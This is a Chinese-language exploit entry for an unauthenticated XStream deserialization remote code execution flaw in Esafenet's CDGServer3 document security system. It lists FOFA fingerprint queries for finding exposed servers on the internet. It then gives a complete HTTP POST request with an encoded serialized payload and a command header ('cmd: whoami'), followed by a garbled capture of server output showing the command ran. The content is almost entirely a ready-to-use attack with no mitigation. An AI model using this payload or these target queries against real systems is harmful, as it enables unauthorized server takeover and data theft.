# Y5-5亿赛通-电子文档安全管理系统-反序列化RCE

## 漏洞描述:

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

### 网站图片:



### 网络测绘:

#### fofa语法

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

### 漏洞复现:

# payload:

POST /CDGServer3/ExamCDGDocService1?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGFMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHFNLONIC

# 效果图:

```
〈 〉 数据包扫描 热加载 构造请求 2%
                                                                                                                                Responses 2618bytes / 272ms
Request
       POST /CDGServer3/ExamCDGDocService1?command=GETSYSTEMINFO HTTP/1.1
                                                                                                                                        HTTP/1.1-200
                                                                                                                                         Set-Cookie: JSESSIONID=0B4E9F923E2E37C985B0
       User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.
                                                                                                                                        Content-Type: text/html; charset=utf-8
Date: Wed, 31 Jan 2024 20:40:03 GMT
        2225.0 Safari/537.36
        Accept-Encoding: gzip, deflate, br
                                                                                                                                        Connection: close
        Connection: close
                                                                                                                                        Content-Length: 2618
       Content-Type: text/xml
                                                                                                                                          ??????-30C8-9082
        NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMN
                                                                                                                                  10
        EIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIDHPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBF
                                                                                                                                          C:\Program Files (x86)\ESAFENET\CDocGuard
        MFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDJLTLANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFA
                                                                                                                                  12
        GLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAD
                                                                                       DEOHCBFOFGBBPLKPHLLNOCJAKJDJPOE
                                                                                                                                        2023/08/29··19:02····<DIR>······
                                                                                                                                  13
        PBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBL
                                                                                                                                        2023/08/29 · · 19:02 · · · · <DIR> · · ·
        HIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACD
                                                                                                                                        2023/06/01 ·· 22:12 · · · · · · · · 36,717 · bootsti
        JNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFA
                                                                                                                                        2023/06/01 · · 22:12 · · · · · · · · · 1.703 · catali
        {\tt IIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEO
                                                                                                                                        2023/06/01 - 22:12 - - - - - -
                                                                                                                                                                       · · 16,840 · catali
       LEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFB
GKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHD
                                                                                                                                        2023/06/01 ·· 22:12 · · · · · · · · · 25,294 · catali
                                                                                                                                        2023/06/01 · · 22:12 · · · · · · · · 289.440 · CdgCont
                                                                                                                                  19
        {\tt GBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJ
                                                                                                                                        2023/06/01 · 22:12 · · · · · · · · 87,552 · CdgCon
        IDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDP
BDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPC
                                                                                                                                  21
                                                                                                                                        2023/06/01 · · 22:12 · · · · · · · · 2,123 · cipher:
                                                                                                                                        2023/06/01 · · 22:12 · · · · · · · · 1.997 · cipher
        BDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJN
                                                                                                                                        2023/06/01 · 22:12 · · · · · · · 214,019 · common:
        {\tt DMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAH}
                                                                                                                                        2023/06/01 · 22:12 · · · · · · · 25,765 · common
        KBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPA
                                                                                                                                 25
                                                                                                                                        2023/06/01 - 22:12 - - - - - 2.040 - config
        NPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBG
                                                                                                                                        2023/06/01 · 22:12 · · · · · · · 1,922 · config
        KKMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABE\\
                                                                                                                                        2023/06/01 · 22:12 · · · · · · 9,100 · daemon
```